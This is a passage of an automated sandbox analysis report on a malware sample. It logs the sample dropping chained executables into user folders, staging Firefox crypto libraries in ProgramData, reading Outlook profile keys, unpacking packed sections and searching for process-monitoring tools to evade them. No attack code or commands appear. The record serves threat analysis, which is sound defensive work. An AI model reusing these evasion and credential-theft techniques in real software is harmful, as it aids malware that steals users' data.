Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6796 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6972 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6156 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHJECFCGHI.exe "C:\Users\user\DocumentsDHJECFCGHI.exe"
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe "C:\Users\user~1\AppData\Local\Temp\1009855001\222aa393f7.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1776640 > 1048576

Source: file.exe

Static PE information: Raw size of loxfkbwv is bigger than: 0x100000 < 0x197e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loxfkbwv:EW;vwaufyob:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loxfkbwv:EW;vwaufyob:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Unpacked PE file: 26.2.DocumentsDHJECFCGHI.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zeiislbd:EW;qmlrfrpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Unpacked PE file: 35.2.222aa393f7.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkzekxbo:EW;lpafuxee:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkzekxbo:EW;lpafuxee:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.32.dr	Static PE information: real checksum: 0x446b8e should be: 0x44d68e
Source: 222aa393f7.exe.32.dr	Static PE information: real checksum: 0x446b8e should be: 0x44d68e
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: real checksum: 0x1da324 should be: 0x1e27ab
Source: file.exe	Static PE information: real checksum: 0x1b3d32 should be: 0x1bd885
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1da324 should be: 0x1e27ab
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1da324 should be: 0x1e27ab

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: loxfkbwv
Source: file.exe	Static PE information: section name: vwaufyob
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: zeiislbd
Source: random[1].exe.0.dr	Static PE information: section name: qmlrfrpw
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name:
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name:
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: zeiislbd
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: qmlrfrpw
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: zeiislbd
Source: skotes.exe.26.dr	Static PE information: section name: qmlrfrpw
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: lkzekxbo
Source: random[1].exe.32.dr	Static PE information: section name: lpafuxee
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: 222aa393f7.exe.32.dr	Static PE information: section name:
Source: 222aa393f7.exe.32.dr	Static PE information: section name: .idata
Source: 222aa393f7.exe.32.dr	Static PE information: section name:
Source: 222aa393f7.exe.32.dr	Static PE information: section name: lkzekxbo
Source: 222aa393f7.exe.32.dr	Static PE information: section name: lpafuxee
Source: 222aa393f7.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0028FE48 push eax; retf	28_1_0028FE49
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0028F515 push 0686A480h; mov dword ptr [esp], edx	28_1_002901CB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0028F515 push ecx; mov dword ptr [esp], edi	28_1_00290EFE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_002901AE push ecx; mov dword ptr [esp], edi	28_1_00290EFE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0023D91C push ecx; ret	32_2_0023D92F

Source: file.exe	Static PE information: section name: loxfkbwv entropy: 7.9549321949569
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.98303575656909
Source: random[1].exe.0.dr	Static PE information: section name: zeiislbd entropy: 7.952580931964108
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: entropy: 7.98303575656909
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: section name: zeiislbd entropy: 7.952580931964108
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.98303575656909
Source: skotes.exe.26.dr	Static PE information: section name: zeiislbd entropy: 7.952580931964108
Source: random[1].exe.32.dr	Static PE information: section name: lkzekxbo entropy: 7.956807570485637
Source: 222aa393f7.exe.32.dr	Static PE information: section name: lkzekxbo entropy: 7.956807570485637

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHJECFCGHI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDHJECFCGHI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHJECFCGHI.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHJECFCGHI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
